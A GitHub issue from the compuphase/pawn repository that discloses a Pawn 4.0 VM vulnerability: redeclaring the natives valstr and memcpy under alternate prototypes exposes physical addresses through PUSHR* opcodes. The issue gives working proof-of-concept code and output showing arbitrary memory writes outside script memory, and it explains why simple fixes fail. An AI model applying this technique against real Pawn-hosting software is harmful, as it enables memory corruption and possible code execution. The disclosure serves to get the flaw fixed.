compuphase / pawn

Pawn is a quick and small scripting language that requires few resources.

Home Page:http://www.compuphase.com/pawn/

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Another vulnerability related to PUSHR* opcodes

Daniel-Cortez opened this issue · comments

I originally reported this vulnerability back in May through E-Mail because I didn't want to make the information about it publicly available, but apparently no actions were taken to fix it. And since there are other unfixed vulnerabilities some of which are known for years (see issue 26), I guess now there's no harm in reporting it here.

So...
Since Pawn 4.0 there are new PUSHR* opcodes that push a physical address of a cell instead of a "virtual" address in the VM as it was done previously with the PUSH* opcodes.
PUSHR* opcodes are used to pass variadic function arguments, pass-by-reference arguments and arrays. For all of the other cases Pawn Compiler still generates PUSH* opcodes.
But there's a way to trick the compiler to make it use PUSHR* opcodes where it should actually use PUSH* and vice versa.

// native valstr(dest[], value, bool:pack=true);
native GetArrPhysAddrAsStr(dest[], const value[], bool:pack=true) = valstr;

In this example I made an "alternate" definition for valstr. Note that the value argument is an array, not a single cell, so instead of the value of a given cell the array address is passed to valstr and the function returns that address as a string.
Retrieving the address of a single variable is possible as well:

native GetVarPhysAddrAsStr(dest[], const &value, bool:pack=true) = valstr;

And since addresses in Pawn 4.0 are passed with the PUSHR* opcodes, they're physical, not virtual.

After retrieving the address as a string it can be converted back to an integer:

native GetArrPhysAddrAsStr(dest[], const value[], bool:pack=true) = valstr;
stock GetArrPhysAddr(const arr[])
{
	// min value for a 64-bit cell: −9223372036854775808 (20 characters)
	new str{21};
	GetArrPhysAddrAsStr(str, arr, true);
	return strval(str);
}

It's also possible to utilize memcpy for read/write operations:

#include <console>
#include <string>

native GetDataByPhysAddr(dest[], src_addr, index=0, numbytes, maxlength=sizeof dest) = memcpy;
native SetDataByPhysAddr(dest_addr, const src[], index=0, numbytes, maxlength) = memcpy;
native GetArrPhysAddrAsStr(dest[], const value[], bool:pack=true) = valstr;

stock GetArrPhysAddr(const arr[])
{
	new str{21};
	GetArrPhysAddrAsStr(str, arr, true);
	return strval(str);
}

main()
{
	static const test_string{128} = "Hello";
	printf("Before: %s\n", test_string);
	static const new_string{} = "Hell no";
	new test_string_phys_addr = GetArrPhysAddr(test_string);
	SetDataByPhysAddr(
		test_string_phys_addr, new_string,
		0, sizeof(new_string) * (cellbits / charbits), 16
	);
	printf("After: %s\n", test_string);
}

Output:

Before: Hello
After: Hell no

That way it's even possible to write outside of the script memory and probably execute arbitrary bytecode by modifying the contents of the code section.

Removing the syntax for "alternate" function prototypes (like GetDataByPhysAddr, SetDataByPhysAddr and GetArrPhysAddrAsStr in the examples above) won't solve the problem because it still would be possible to do something like this:

#pragma library String  // instead of including string.inc
native memcpy(dest_phys_addr, const src[], index=0, numbytes, maxlength);
#define SetDataByPhysAddr memcpy

Also in this function prototype

native SetDataByPhysAddr(dest_addr, const src[], index=0, numbytes, maxlength) = memcpy;

note that the dest_addr argument is a single cell so the write address will be passed with one of the PUSH* opcodes, not PUSHR*. This means that adding address checks to all of the PUSHR* opcodes is pointless as well.

The only good fix I can think of is completely removing all of the PUSHR* opcodes from the instruction set, but that would require bringing back the amx_GetAddr function and probably some other actions to take.